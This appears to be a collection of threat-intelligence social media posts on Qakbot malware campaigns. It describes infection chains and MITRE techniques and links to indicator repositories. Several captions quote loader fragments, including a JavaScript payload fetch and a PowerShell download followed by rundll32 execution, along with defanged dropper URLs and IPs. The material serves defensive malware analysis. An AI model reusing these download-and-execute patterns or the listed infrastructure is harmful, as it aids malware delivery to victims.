#Qakbot#malware JS loader it's ingenious! Uses an old technique for creating 2 scripts starting from the position of the letters in the AudioRecordingDiagnostic.xml system file: 1⃣ 2nd stage downloader 2⃣ 2nd stage exec ⚠️ low detection! #infosecurity twitter.com/Cryptolaemus1/…
🤖Check out our technical analysis of #Pikabot including the anti-analysis techniques, encryption algorithms, and similarities with Qakbot: zscaler.com/blogs/security…
IOCs are available here: github.com/threatlabz/ioc…
Black Lotus Labs is here for you with new research on #Qakbot . We look into their network structure, reveal what makes them so resilient, and describe the cycle of life for their bots and C2s 
![#Qakbot - obama264 - .pdf > .zip > .wsf > xmlhttp > .dll
wscript.exe Claim_C736.wsf
var u = 'http://45.76.58.]72/a0UFMZnC6ltxphw.dat'
http.open('GET', u[i], false)
conhost.exe rundll32.exe C:\Users\Public\amLE5PKlGAXrhpU.dat,bind
IOC's
github.com/pr0xylife/Qakb…](https://pbs.twimg.com/media/Fw6GLp4XoAEqXVv.jpg "Cryptolaemus (@Cryptolaemus1) on Twitter photo 2023-05-24 16:45:21 #Qakbot - obama264 - .pdf > .zip > .wsf > xmlhttp > .dll
wscript.exe Claim_C736.wsf
var u = 'http://45.76.58.]72/a0UFMZnC6ltxphw.dat'
http.open('GET', u[i], false)
conhost.exe rundll32.exe C:\Users\Public\amLE5PKlGAXrhpU.dat,bind
IOC's
github.com/pr0xylife/Qakb…")
![#Qakbot reuse dropper URL from the campaign observed yesterday 🇮🇹
e.g: s://aandainternational.]com/qd/?4595731
30/05 > doc_*_May_30.js
31/05 > doc_*_May_31.js](https://pbs.twimg.com/media/FxdliIGXwAElJrT.png "Mangusta (@Tac_Mangusta) on Twitter photo 2023-05-31 14:11:26 #Qakbot reuse dropper URL from the campaign observed yesterday 🇮🇹
e.g: s://aandainternational.]com/qd/?4595731
30/05 > doc_*_May_30.js
31/05 > doc_*_May_31.js")
![Qakbot (Obama266). Thread hijacking. Adobe Acrobat browser plugin lure. PDF attachment > ZIP (geofenced) via assurancetp[.]com/iebcqyhjfa/iebcqyhjfa.zip > JS > MSI via tofinka[.]com/ud75yj.msi > DLL. ZIP sample: tria.ge/230601-2bsa2ah…](https://pbs.twimg.com/media/FxkmTcsaYAIXv5S.png "Chris (@phage_nz) on Twitter photo 2023-06-01 22:49:01 Qakbot (Obama266). Thread hijacking. Adobe Acrobat browser plugin lure. PDF attachment > ZIP (geofenced) via assurancetp[.]com/iebcqyhjfa/iebcqyhjfa.zip > JS > MSI via tofinka[.]com/ud75yj.msi > DLL. ZIP sample: tria.ge/230601-2bsa2ah…")
![#Qakbot MSI Fake Adobe Plugin Infection #TTPs 🚨
[+] Msiexec T1218.007: Fake Adobe .msi
[+] Rundll32 T1218.011: Export func 'next'
[+] Process Hollowing T1055.012: Target process wermgr.exe (new RWX page contains DLL loader)
[+] Loader Internal Name: HNetCfgClient.dll 🔥](https://pbs.twimg.com/media/FxjzufmWwAEMY7c.jpg "Max_Malyutin (@Max_Mal_) on Twitter photo 2023-06-01 19:09:14 #Qakbot MSI Fake Adobe Plugin Infection #TTPs 🚨
[+] Msiexec T1218.007: Fake Adobe .msi
[+] Rundll32 T1218.011: Export func 'next'
[+] Process Hollowing T1055.012: Target process wermgr.exe (new RWX page contains DLL loader)
[+] Loader Internal Name: HNetCfgClient.dll 🔥")
![#Qakbot - BB29 - pdf > .url > .js > ps > .dll
wscript objectively.js
powershell $meth = http://151.236.22.]142/mQpWA8n/kxyj5'
foreach ($Pre in $meth) try {$m = FromBase64($Pre);
iwr $man -O C:\ProgramData\taco
rundll32 C:\ProgramData\taco,bind
IOC's
github.com/pr0xylife/Qakb…](https://pbs.twimg.com/media/Fw-Zo7yXsAE3TbT.jpg "Cryptolaemus (@Cryptolaemus1) on Twitter photo 2023-05-25 12:51:30 #Qakbot - BB29 - pdf > .url > .js > ps > .dll
wscript objectively.js
powershell $meth = http://151.236.22.]142/mQpWA8n/kxyj5'
foreach ($Pre in $meth) try {$m = FromBase64($Pre);
iwr $man -O C:\ProgramData\taco
rundll32 C:\ProgramData\taco,bind
IOC's
github.com/pr0xylife/Qakb…")
